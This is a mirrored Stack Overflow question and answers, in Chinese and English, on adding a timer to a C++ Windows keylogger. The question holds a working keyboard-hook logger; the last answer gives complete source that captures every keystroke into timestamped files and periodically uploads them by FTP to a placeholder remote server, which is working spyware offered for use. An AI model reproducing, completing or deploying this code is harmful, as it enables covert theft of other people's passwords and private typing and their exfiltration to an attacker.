简体   繁体   English

如何将计时器添加到键盘记录器C ++

[英]How do I add a timer to a keylogger c++

What can I do to make a timer in this keylogger so it sends logs every hour? 我该怎么做才能在此键盘记录器中设置一个计时器,使其每小时发送一次日志? I tried Sleep() function while loops, but they don't seem to work. 我在循环时尝试了Sleep()函数,但它们似乎不起作用。 I thought of using multi-threading, but I thought there must be a more efficient method. 我考虑使用多线程,但我认为必须有一个更有效的方法。

    #define _WIN32_WINNT 0x0500

    #include<fstream>
    #include<windows.h>
    #include<iostream>
    //globals   
    using namespace std;

    ofstream out("keys.txt", ios::out);

    LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

        // If key is being pressed
        if (wParam == WM_KEYDOWN) {
            switch (p->vkCode) {

                // Invisible keys
                case VK_LCONTROL:   out << "<LCTRL>";       break;
                case VK_RCONTROL:   out << "<RCTRL>";       break;
                case VK_INSERT:     out << "<INSERT>";      break;
                case VK_END:        out << "<END>";         break;
                case VK_PRINT:      out << "<PRINT>";       break;
                case VK_DELETE:     out << "<DEL>";         break;
                case VK_BACK:       out << "<BK>";          break;

                case VK_LEFT:       out << "<LEFT>";        break;
                case VK_RIGHT:      out << "<RIGHT>";       break;
                case VK_UP:         out << "<UP>";          break;
                case VK_DOWN:       out << "<dDOWN>";       break;

                case VK_RETURN:     out << "<ENTER>\n";     break;

                //add special keys like semicolons

                // Visible keys
                default:
                    if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
                    out << char(tolower(p->vkCode));

                    else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
                    out << char(toupper(p->vkCode));
                    //add capital version of sepecial keys

                    else 
                    out << char(tolower(p->vkCode));
            }
            out.flush();    //to immediately flush to txt file
            cout<<p<<endl;
        }


        return CallNextHookEx(NULL, nCode, wParam, lParam);
        }




    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

        // Set windows hook

        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);

        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

        out.close();

        return 0;
    }

I'm using DEVC++ 我正在使用DEVC ++

If you just want to send your logs every once in a while, you can easily do a check to detect how long it has been since the last log update! 如果您只想每隔一段时间发送一次日志,则可以轻松地进行检查以检测自上次日志更新以来已经有多长时间了!

Easy Method 简单方法

You'll need to store all your keylogs between file updates. 您需要在文件更新之间存储所有按键记录。 You can easily put them into a vector . 您可以轻松地将它们放入向量中

So Instead of outputting to your file with out << blahblah add the character to your vector with vectorname.push_back(blahblah) 因此,与其输出到不带有out << blahblah文件, vectorname.push_back(blahblah)将字符添加到具有vectorname.push_back(blahblah)向量中

You'll also need a timing variable. 您还需要一个计时变量。 You can use the windows.h function GetTickCount for all of your timing needs. 您可以使用windows.h函数GetTickCount来满足所有计时需求。

When your keyboard hook/callback (the method you have your actual keylogging code in) gets called, check to see if it's been an hour since the last time you updated your log file, if it has been an hour or longer, update it and set your timing variable = GetTickCount. 当调用键盘挂钩/回调(您使用实际的键盘记录代码的方法)时,请检查自上次更新日志文件以来是否已经过了一个小时,如果已经过了一个小时或更长时间,请进行更新并设置您的时间变量= GetTickCount。

Hope that helps! 希望有帮助!

The Win32 API function SetTimer executes a function every x milliseconds or any given time. Win32 API函数SetTimer每x毫秒或任何给定时间执行一个函数。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx

The following console program works like this: It sets a timer using SetTimer then loops in a message loop. 下面的控制台程序是这样工作的:它使用SetTimer设置计时器,然后在消息循环中循环。 The message loop receives and processes WM_TIMER messages and the timer callback also is called for each time interval. 消息循环接收和处理WM_TIMER消息,并且每个时间间隔都调用计时器回调。

usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms

Simply put the stuff you want done in the CALLBACK TimerProc() function. 只需将您要完成的工作放在CALLBACK TimerProc()函数中。

#define STRICT 1 
#include <windows.h>
#include <iostream.h>
#include <time.h>

unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
   UINT TimerId; 


VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) 
{

   //put the stuff you want done in here

  cout << "Doing stuff Time: " << dwTime << '\n';


  cout << abs(timer_start - timer_stop )  <<"   millisecond delay " << endl;
  cout << "--------------------------------------------------\n" ;
  cout.flush();

}

int main(int argc, char *argv[], char *envp[]) 
{

        usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
        TimerId  = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer() 

        timer_start = clock ();
        timer_stop = clock ();

        cout << "TimerId: " << TimerId << '\n';

        if (!TimerId) return 16;

        while (GetMessage(&Msg, NULL, 0, 0)) 
        {

            ++Counter;
            if (Msg.message == WM_TIMER)
            {

                timer_start = clock ();
                //cout << "Doing stuff Counter: " << Counter << "; timer message\n";
            }
            else
            {
                timer_stop = clock ();
                timer_start = clock ();
                //cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
            }
            DispatchMessage(&Msg);
        }

        KillTimer(NULL, TimerId);

return 0;

}

I used SetTimer() and it works like a charm. 我使用了SetTimer() ,它的工作原理很像。

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>

#include<iostream>
#include <time.h>
#include <wininet.h>

using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt;   //must be a global variable
char *buffer;   //for outputting to new file, if there isnt internet
void namer();  //show nointernet() that namer() exists
void nointernet()
{
    std::ifstream    inFile(datetxt);//copy to buffer
    inFile >> buffer;
    inFile.close();
    remove(datetxt);  //delete old name
    namer();  //give new name
    std::ofstream    outFile(datetxt); //should be here to avoid new and old name mishaps
    outFile << buffer;   //enter copied data here

}
void namer()
{
    time_t rawtime;
    struct tm *timeinfo;
    time (&rawtime);
    timeinfo = localtime (&rawtime);
    strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
    datetxt = strcat(date, ".txt");                 //joins date with a .txt extrention
}

int upload()
{
    HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
    if (!hInternet)
    {
        nointernet(); //if there is no internet, append new log file
    }


    HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
    if (!hFtpSession)
    {
        InternetCloseHandle(hInternet);
        nointernet();   //if you cant access ftp, append to new log file

    }

    FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file  onto the FTP server as datetxt


    InternetCloseHandle(hFtpSession); // Close hFtpSession
    InternetCloseHandle(hInternet); // Close hInternet
    //delete old datetxt
    namer();   //give new name
    return 0;
}

void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
    upload();  //upload old name and change name


}



LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{


    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    ofstream out(datetxt, ios::app);
    // If key is being pressed

    if (wParam == WM_KEYDOWN)
    {
        switch (p->vkCode)
        {
        // Invisible keys
        case VK_LCONTROL:   out << "<LCTRL>";        break;
        case VK_RCONTROL:   out << "<RCTRL>";       break;
        case VK_INSERT:     out << "<INSERT>";      break;
        case VK_END:        out << "<END>";         break;
        case VK_PRINT:      out << "<PRINT>";       break;
        case VK_DELETE:     out << "<DEL>";         break;
        case VK_BACK:       out << "<BK>";          break;

        case VK_LEFT:       out << "<LEFT>";        break;
        case VK_RIGHT:      out << "<RIGHT>";       break;
        case VK_UP:         out << "<UP>";          break;
        case VK_DOWN:       out << "<dDOWN>";       break;

        case VK_RETURN:     out << "<ENTER>\n";     break;

            //add special keys like semicolons

        // Visible keys
        default:
            if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
                out << char(tolower(p->vkCode));

            else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
                out << char(toupper(p->vkCode));
            //add capital version of special keys

            else
                out << char(tolower(p->vkCode));


        }
        out.close();    //to immediately flush to txt file
        cout << p << endl;
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    namer();   // for the datetxt name

    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook

    //re-run program here/*************************************************
    MSG msg;

    SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    //till here/**********************************************************/
    // out.close();
    BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
    return 0;

}

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM